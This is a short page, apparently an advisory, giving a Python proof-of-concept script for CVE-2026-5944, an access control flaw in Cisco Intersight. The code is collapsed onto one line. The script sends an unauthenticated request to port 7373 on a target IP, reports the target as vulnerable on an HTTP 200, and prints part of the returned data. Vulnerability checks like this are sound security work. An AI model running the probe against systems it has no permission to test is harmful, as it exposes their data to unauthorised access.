CVE-2026-5944 Cisco Intersight访问控制漏洞

import requests def check_cve_2026_5944(target_ip): """ PoC for CVE-2026-5944: Unauthenticated access to API passthrough on port 7373. """ target_url = f"http://{target_ip}:7373/" # Default vulnerable port headers = { "User-Agent": "CVE-2026-5944-Scanner", "Accept": "application/json" } try: # Send a request without authentication to enumerate metadata response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target {target_ip} is vulnerable!") print(f"[+] Response received: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Target {target_ip} requires authentication. Not vulnerable.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") else: check_cve_2026_5944(sys.argv[1])